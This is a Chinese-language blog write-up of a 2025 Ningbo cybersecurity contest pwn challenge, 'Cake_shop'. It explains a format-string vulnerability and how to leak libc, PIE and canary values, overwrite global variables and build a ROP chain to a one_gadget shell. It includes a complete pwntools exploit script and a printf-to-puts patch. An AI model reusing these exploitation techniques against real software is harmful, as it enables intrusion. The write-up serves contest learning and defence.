落日歸山海,與你話清風。
874 words
4 minutes
Write-ups: 2025 宁波市第八届网络安全大赛决赛
Cake_shop
Information
- Category: AWDP Pwn
- Points: Unknown
Description
Unknown
Write-up
Kong 师傅分享的题,本来只是抱着试一试的心态,看看能不能做出来的,结果没想到还真做出来了……决赛题,不过感觉挺简单,如果我在现场的话就拿分了哈哈哈,可惜了,国内赛事接触太少了。Anyway,还是值得记录一下的。
粗略分析一下,发现 do_nothing
里面存在格式化字符串漏洞。由于主菜单无限循环,所以我们可以无限触发格式化字符串漏洞,感觉这样一来题目难度瞬间就低了好几个档次。
int do_nothing(){ char buf[40]; // [rsp+0h] [rbp-30h] BYREF unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u); puts(s); puts("\x1B[33mMaybe it should be thought about in your head\x1B[0m"); puts("\x1B[33mWhat if it happens\x1B[0m"); read(0, buf, 0x28u); return printf(buf);}
chat
和 earn_money
功能没啥用,直接看 buy
:
__int64 buy(){ int choice; // [rsp+8h] [rbp-38h] BYREF int money; // [rsp+Ch] [rbp-34h] _BYTE buf[40]; // [rsp+10h] [rbp-30h] BYREF unsigned __int64 v4; // [rsp+38h] [rbp-8h]
v4 = __readfsqword(0x28u); puts(s); puts("\x1B[33mWe have three kinds of cakes here\x1B[0m"); puts("\x1B[33m1.Strawberry cake $10\x1B[0m"); puts("\x1B[33m2.Orange cake $50\x1B[0m"); puts("\x1B[33m3.Watermelon cake $100\x1B[0m"); __isoc99_scanf("%d", &choice); if ( choice == 1 ) { money -= 10; money = money; if ( money < 0 ) puts("\x1B[33mYou don't have enough money\x1B[0m"); } if ( choice == 2 ) { money -= 50; money = money; if ( money < 0 ) puts("\x1B[33mYou don't have enough money\x1B[0m"); } if ( choice == 3 ) { money -= 100; money = money; if ( money < 0 ) puts("\x1B[33mYou don't have enough money\x1B[0m"); } if ( choice != 666 || money != 99999999 ) return 0; puts("\x1B[33mBuy the whole cake shop\x1B[0m"); read(0, buf, (unsigned int)size); return 0;}
标绿的部分正常情况下是执行不到的,注意到后面还有个 read 函数,感觉有猫腻。因为有格式化字符串漏洞,我们可以先把程序的几个关键基址算出来,然后再思考如何绕过检测,执行到最后那个 read 函数。
这里 choice
我们可以直接传入 666,所以问题就是 money
怎么赋值了。注意到 money 在 data 段,rw-p
权限,可篡改。
算了下,格式化字符串得写四字节,值是 0x5f5e0ff
。由于只有几千万字节大小,写起来不会花多久,所以我一开始做的时候是选择一次性写完的,但听 Kong 师傅说他一次性写完有问题,于是我就改成一次写两字节了。
最后那个 read 将输入读到四十字节的 buffer 中,但是默认 size 只有 32 字节。不过由于 size 也保存在 data 段,所以我们同理可以利用 do_nothing 的格式化字符串改写 size,溢出返回地址。
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, args, context, flat, process, raw_input, remote,)
FILE = "./pwn_patched"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binarylibc = ELF("./libc.so.6")
def buy(choice): target.sendlineafter(b"Please make your choice>>", str(1).encode()) target.sendlineafter(b"$100", str(choice).encode())
def do_nothing(msg): target.sendlineafter(b"Please make your choice>>", str(4).encode()) target.sendlineafter(b"What if it happens", msg)
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT)
def main(): launch()
payload = b"%17$p %8$p" do_nothing(payload) target.recvline() response = target.recvline().strip().split() libc.address = int(response[0], 16) - 0x24083 pie = int(response[1], 16) - 0x1570
payload = b"%11$p" do_nothing(payload) target.recvline() canary = int(target.recvline().strip(), 16) money_p1 = pie + 0x4010 money_p2 = money_p1 + 2 money_value_p1 = 0x5F5E0FF & 0xFFFF money_value_p2 = (0x5F5E0FF >> 16) & 0xFFFF read_size = pie + 0x4014 one_gadget = libc.address + 0xE3AFE
target.success(f"libc: {hex(libc.address)}") target.success(f"pie: {hex(pie)}") target.success(f"canary: {hex(canary)}") target.success(f"money: {hex(money_p1)}") target.success(f"read_size: {hex(read_size)}") target.success(f"one_gadget: {hex(one_gadget)}")
payload = flat( f"aaaa%{money_value_p1 - 0x4}c%8$hn".encode(), money_p1, ) do_nothing(payload)
payload = flat( f"aaaaa%{money_value_p2 - 0x5}c%8$hn".encode(), money_p2, ) do_nothing(payload)
payload = flat( b"aaaaaa%1337c%8$n", read_size, ) do_nothing(payload) buy(666)
# 0x00000000000015cc: pop r12; pop r13; pop r14; pop r15; ret; payload = flat( b"A" * 0x28, canary, b"A" * 0x8, pie + 0x00000000000015CC, 0, 0, 0, 0, one_gadget, ) target.sendline(payload)
target.interactive()
if __name__ == "__main__": main()
Patch
直接把 printf
patch 成 puts
就好了,ez
int do_nothing(){ char buf[40]; // [rsp+0h] [rbp-30h] BYREF unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u); puts(s); puts("\x1B[33mMaybe it should be thought about in your head\x1B[0m"); puts("\x1B[33mWhat if it happens\x1B[0m"); read(0, buf, 0x28u); return puts(buf);}
Write-ups: 2025 宁波市第八届网络安全大赛决赛
https://cubeyond.net/posts/write-ups/2025-宁波市第八届网络安全大赛决赛/